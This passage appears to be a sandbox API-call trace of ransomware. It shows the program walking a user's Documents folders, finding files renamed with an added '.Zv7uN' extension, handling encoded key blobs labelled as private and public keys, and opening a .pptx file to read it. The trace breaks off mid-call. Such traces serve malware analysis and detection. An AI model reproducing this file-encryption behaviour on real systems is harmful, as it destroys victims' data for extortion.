ftCreationTime.dwLowDateTime=0xcde9daf0, ftCreationTime.dwHighDateTime=0x1d5d831, ftLastAccessTime.dwLowDateTime=0x5cfe8990, ftLastAccessTime.dwHighDateTime=0x1d5dc4f, ftLastWriteTime.dwLowDateTime=0x52cb2fe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XdgW2PShs.docx.Zv7uN", cAlternateFileName="XDGW2P~1.ZV7")) returned 1 [0088.782] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.782] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.782] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52955430, ftCreationTime.dwHighDateTime=0x1d5e1c6, ftLastAccessTime.dwLowDateTime=0xe6bfdb0, ftLastAccessTime.dwHighDateTime=0x1d5e25a, ftLastWriteTime.dwLowDateTime=0x52cd9140, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xaf11, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Yf8w3Ir-P2yrhyy.pptx.Zv7uN", cAlternateFileName="YF8W3I~1.ZV7")) returned 1 [0088.782] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.783] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.783] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52955430, ftCreationTime.dwHighDateTime=0x1d5e1c6, ftLastAccessTime.dwLowDateTime=0xe6bfdb0, ftLastAccessTime.dwHighDateTime=0x1d5e25a, ftLastWriteTime.dwLowDateTime=0x52cd9140, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xaf11, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Yf8w3Ir-P2yrhyy.pptx.Zv7uN", cAlternateFileName="YF8W3I~1.ZV7")) returned 0 [0088.783] GetLastError () returned 0x12 [0088.783] FindClose (in: hFindFile=0x6aa100 | out: hFindFile=0x6aa100) returned 1 [0088.783] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e843540, ftCreationTime.dwHighDateTime=0x1d5d961, ftLastAccessTime.dwLowDateTime=0x889f370, ftLastAccessTime.dwHighDateTime=0x1d5dab2, ftLastWriteTime.dwLowDateTime=0x52bce7a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x638f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="QNAASLZXJlZKG.pdf.Zv7uN", cAlternateFileName="QNAASL~1.ZV7")) returned 1 [0088.783] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.783] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.783] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x589197f0, ftCreationTime.dwHighDateTime=0x1d5e562, ftLastAccessTime.dwLowDateTime=0x7c057110, ftLastAccessTime.dwHighDateTime=0x1d5e5f4, ftLastWriteTime.dwLowDateTime=0x7c057110, ftLastWriteTime.dwHighDateTime=0x1d5e5f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="UlHqKtcLSUiNQM", cAlternateFileName="ULHQKT~1")) returned 1 [0088.783] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.783] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.783] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\*.*", lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x589197f0, ftCreationTime.dwHighDateTime=0x1d5e562, ftLastAccessTime.dwLowDateTime=0x7c057110, ftLastAccessTime.dwHighDateTime=0x1d5e5f4, ftLastWriteTime.dwLowDateTime=0x7c057110, ftLastWriteTime.dwHighDateTime=0x1d5e5f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa100 [0088.783] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x589197f0, ftCreationTime.dwHighDateTime=0x1d5e562, ftLastAccessTime.dwLowDateTime=0x7c057110, ftLastAccessTime.dwHighDateTime=0x1d5e5f4, ftLastWriteTime.dwLowDateTime=0x7c057110, ftLastWriteTime.dwHighDateTime=0x1d5e5f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.783] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9170280, ftCreationTime.dwHighDateTime=0x1d5e209, ftLastAccessTime.dwLowDateTime=0xc5335960, ftLastAccessTime.dwHighDateTime=0x1d5e0ef, ftLastWriteTime.dwLowDateTime=0xc5335960, ftLastWriteTime.dwHighDateTime=0x1d5e0ef, nFileSizeHigh=0x0, nFileSizeLow=0x113a8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="osnW47dF.pptx", cAlternateFileName="OSNW47~1.PPT")) returned 1 [0088.783] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eeec | out: lpLocalFileTime=0x18eeec) returned 1 [0088.784] FileTimeToDosDateTime (in: lpFileTime=0x18eeec, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\osnW47dF.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\osnw47df.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9170280, ftCreationTime.dwHighDateTime=0x1d5e209, ftLastAccessTime.dwLowDateTime=0xc5335960, ftLastAccessTime.dwHighDateTime=0x1d5e0ef, ftLastWriteTime.dwLowDateTime=0xc5335960, ftLastWriteTime.dwHighDateTime=0x1d5e0ef, nFileSizeHigh=0x0, nFileSizeLow=0x113a8)) returned 1 [0088.784] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\osnW47dF.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\osnw47df.pptx")) returned 0x20 [0088.784] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\osnW47dF.pptx", dwFileAttributes=0x80) returned 1 [0088.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.829] GetCurrentThreadId () returned 0xa30 [0088.829] GetCurrentThreadId () returned 0xa30 [0088.829] GetCurrentThreadId () returned 0xa30 [0088.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.830] GetCurrentThreadId () returned 0xa30 [0088.830] GetCurrentThreadId () returned 0xa30 [0088.830] GetCurrentThreadId () returned 0xa30 [0088.830] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\osnW47dF.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\osnw47df.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.831] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0088.831] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.831] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x113a8 [0088.831] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.831] ReadFile (in: hFile=0x120, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x113a8, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | 